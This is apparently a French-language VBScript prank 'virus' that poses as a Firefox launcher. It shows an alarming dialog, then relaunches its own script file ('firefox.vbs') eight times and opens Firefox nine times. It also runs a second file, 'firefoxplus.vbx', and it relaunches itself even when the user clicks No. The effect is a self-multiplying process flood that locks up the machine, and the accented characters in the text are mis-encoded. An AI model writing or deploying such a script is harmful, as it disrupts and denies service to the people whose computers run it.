result = MsgBox ("Est-tu sūr de vouloir utiliser Firefox, il n'est pas de bonne humeur ces temps-ci :/ ?", vbYesNo + vbCritical, "Le Renard ą brūler le disque dur")

Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """firefoxplus.vbx"""

Case vbNo
MsgBox "Le Renard Brūle en ce moment, désolé, le virus va devoir revenir :(", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "firefox.vbs"

End Select